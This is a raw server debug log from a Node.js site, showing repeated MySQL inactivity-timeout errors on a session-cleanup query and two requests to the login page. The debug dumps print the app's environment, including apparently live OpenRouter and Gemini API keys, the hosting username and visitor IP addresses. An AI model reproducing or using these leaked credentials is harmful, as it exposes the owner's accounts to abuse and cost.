  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-12 00:38:04' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-12 02:37:46' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-12 02:37:46' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-12 03:55:46' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-12 03:55:46' as DATETIME)"
}
2026-01-12T06:51:39.356Z server-connect:router Serving templateView /
2026-01-12T06:51:39.358Z server-connect:app Executing action step identify
2026-01-12T06:51:39.358Z server-connect:app options: { provider: 'security' }
2026-01-12T06:51:39.358Z server-connect:auth No login cookie found
2026-01-12T06:51:39.358Z server-connect:output identity: false
2026-01-12T06:51:39.358Z server-connect:app Executing action step restrict
2026-01-12T06:51:39.358Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-12T06:51:39.358Z server-connect:output restrict: undefined
2026-01-12T06:51:39.744Z server-connect:router Serving templateView /login
2026-01-12T06:51:39.744Z server-connect:app Executing action step identify
2026-01-12T06:51:39.744Z server-connect:app options: { provider: 'security' }
2026-01-12T06:51:39.745Z server-connect:auth No login cookie found
2026-01-12T06:51:39.745Z server-connect:output identity: false
2026-01-12T06:51:39.745Z server-connect:router Render template layouts/authentication
2026-01-12T06:51:39.745Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '205.210.31.16',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-01-13T06:51:39.744Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '205.210.31.16',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '205.210.31.16',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-12 08:15:47' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-12 08:15:47' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-12 08:46:08' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-12 08:46:08' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-12 08:59:05' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-12 08:59:05' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-12 09:29:05' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-12 09:29:05' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-12 09:57:09' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-12 09:57:09' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-12 10:17:09' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-12 10:17:09' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-12 10:34:09' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-12 10:34:09' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-12 10:54:05' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-12 10:54:05' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-12 15:07:06' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-12 15:07:06' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-12 19:38:47' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-12 19:38:47' as DATETIME)"
}
2026-01-12T20:03:10.621Z server-connect:router Serving templateView /
2026-01-12T20:03:10.622Z server-connect:app Executing action step identify
2026-01-12T20:03:10.622Z server-connect:app options: { provider: 'security' }
2026-01-12T20:03:10.622Z server-connect:auth No login cookie found
2026-01-12T20:03:10.622Z server-connect:output identity: false
2026-01-12T20:03:10.622Z server-connect:app Executing action step restrict
2026-01-12T20:03:10.622Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-01-12T20:03:10.623Z server-connect:output restrict: undefined
2026-01-12T20:03:11.281Z server-connect:router Serving templateView /login
2026-01-12T20:03:11.282Z server-connect:app Executing action step identify
2026-01-12T20:03:11.282Z server-connect:app options: { provider: 'security' }
2026-01-12T20:03:11.282Z server-connect:auth No login cookie found
2026-01-12T20:03:11.282Z server-connect:output identity: false
2026-01-12T20:03:11.282Z server-connect:router Render template layouts/authentication
2026-01-12T20:03:11.283Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '205.210.31.185',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-01-13T20:03:11.281Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '205.210.31.185',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '205.210.31.185',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-12 20:23:48' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-12 20:23:48' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-12 20:25:10' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-01-12 20:25:10' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-01-13 00:30:06' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
